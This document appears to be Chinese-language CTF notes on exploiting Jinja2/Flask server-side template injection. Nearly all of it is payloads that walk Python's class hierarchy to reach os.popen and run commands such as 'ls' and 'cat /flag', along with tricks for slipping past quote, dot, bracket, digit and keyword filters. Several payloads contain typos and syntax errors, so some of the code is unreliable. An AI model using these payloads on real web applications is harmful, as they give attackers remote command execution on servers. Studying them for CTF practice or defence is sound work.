想要回显内容在外面加个print
{%print("",__class__)%}
在 Python 中,__getitem__
是一个特殊方法,用于实现对象的索引访问(例如 obj[117]
)
class MyClass:
def __init__(self, data):
self.data = data
def __getitem__(self, key):
return self.data[key]
# 创建对象
obj = MyClass([10, 20, 30, 40, 50])
# 使用方括号语法
print(obj[117]) # 等价于 obj.__getitem__(117)
# 直接调用 __getitem__ 方法
print(obj.__getitem__(117)) # 显式调用 __getitem__
当[ ]被禁止使用时,可以用__getitem__(123)代替[117]
request.args.key 获取get传入的参数
request.form.key 获取post传入的参数
request.values.key 获取所有参数,get和post有同一个参数,post的参数会覆盖get
request.cookies.key 获取cookies传入参数
request.header.key 获取请求头请求传参
request.data 获取post传参(Content-Type:a/b)
request.json 获取post传入json参数(Content-Type:application/json)
request绕过单双引号过滤
http:127.0.0.1:8080/?pepen=popen&cmd=cat/flag
{{().__class__.__base__.subclasses__()[117].__init__.globals__[requset.args.popen](request.args.cmd).read()}}
单双引号用cookies绕过
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
随后添加cookie
k1=popen k2=cat/flag
1.使用request方法
GET提交URL
cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__
POST提交
code={{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen'()}}
2.使用Unicode编码
''|attr("__class__")等效于''.__class__
如果要使用xxx.os('xxx')类似的方法,可以使用xxx|attr("os")('xss')
Unicode编码的python脚本如下
class_name="cat/flag"
union_class_name=''.join(['\\u{:04x}'.format(ord(cahr))for char in class_name])
print(union_class_name)
payload示例:
url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
(Unicode编码,这条payload等效于{{“”.__class__}})
绕过点过滤
1.中括号[]代替点
{{()['class']['base']['subclasses']()[117]['init']['globals']['popen']('ls')['read']}}
2.中括号被过滤可以考虑使用attr()绕过
{{()|attr(‘__class__’)|attr(‘__base__’)|attr(‘__subclasses__’)()|attr(‘__getitem__’)(199)|attr(‘__init__’)|attr(‘__globals__’)|attr(‘__getitem__’)(‘os')|attr(‘popen’)(‘ls’)|attr(‘read’)()}}
{{().__class__}}等效于{{()['__cla'+'ss__']}}
{{()['__cla'+'ss__']['__ba'+'se__']['__subc'+'lasses__']['__get'+'item__'](117)['__in'+'it']['__glo'+'bals']['__geti__'+'tem__']('os')['po'+'pen']('ls')['read']()}}
{{()['__class__']}}等价于{%set a='__cla'%}{%set b='ss__'}{{()[a~b]}}
{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='subcl'%}{%set f='asses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glo'%}{%set l='obals__'%}{% set h='po'%}{%set g='pen__'%}{{""[a~b][c~d][e~f]()[][g~h][i~l]['os'][h~g]('ls')['read']()}}
flask常用过滤器
length():获取一个序列或者字典的长度并将其返回
int() 将值转换为int类型
float() 将值转换为float类型
lower() 将字符串转换为小写()
upper() 将字符串转换为大写
reverse() 将字符串反转
list() 将变量转换为列表类型
replace(value,old,new)将value中的old替换为new
string()将变量转换为字符串类型
join()将一个序列中的参数值拼接成字符串通常配合dict()混合绕过
attr()获取对象属性
过滤器reverse绕过
{{()['__class__']}}等价于{%set a="__ssalc__"|reverse%}{{()[a]}}
payload构造
{%set a="__ssalc"|reverse%}{%set b="__esab__|reverse"%}{%set b="__sessalcbus__"|reverse%}{%set d="__ tini__"|reverse%}{%set e=”__slabolg__”|reverse%}{%set f=”nepop”|reverse%}{{""[a][b][c]()][117][d][e]['os'][f]('ls')[read]()}}
过滤器replace
{{()['__class__']}}等价于{%set a="__claee__"|replace("ee","ss")%}{{()[a]}}
过滤器join
{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
使用length过滤器通常用于获取数据结构的长度
{% set a=’aaaaaaaaaa’|length %}{{a}} #10
{% set a=’aaaaaaaaaa’|length*’aaa’|length %}{{a}} #30
{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}} #117
10个a*12个a-3个a=117个a
如果数字被过滤可以这样绕过
{%set a='aaaaaaaaaa'|length%}{{"".__class__.__base__.__subclasses__()[a].__init__.globals__['os'].popen("ls").read()}}
chr函数常被用于绕过关键字过滤,chr函数的作用是将一个整数转换为对应的字符
如chr(97)返回a,
绕过过滤关键字flag,如果目标系统过滤了flag,但没有过滤chr,攻击者可以通过以下方式构造flag
chr(102)+chr(108)+chr(97)+chr(103) # 'f'+'l'+'a'+'g'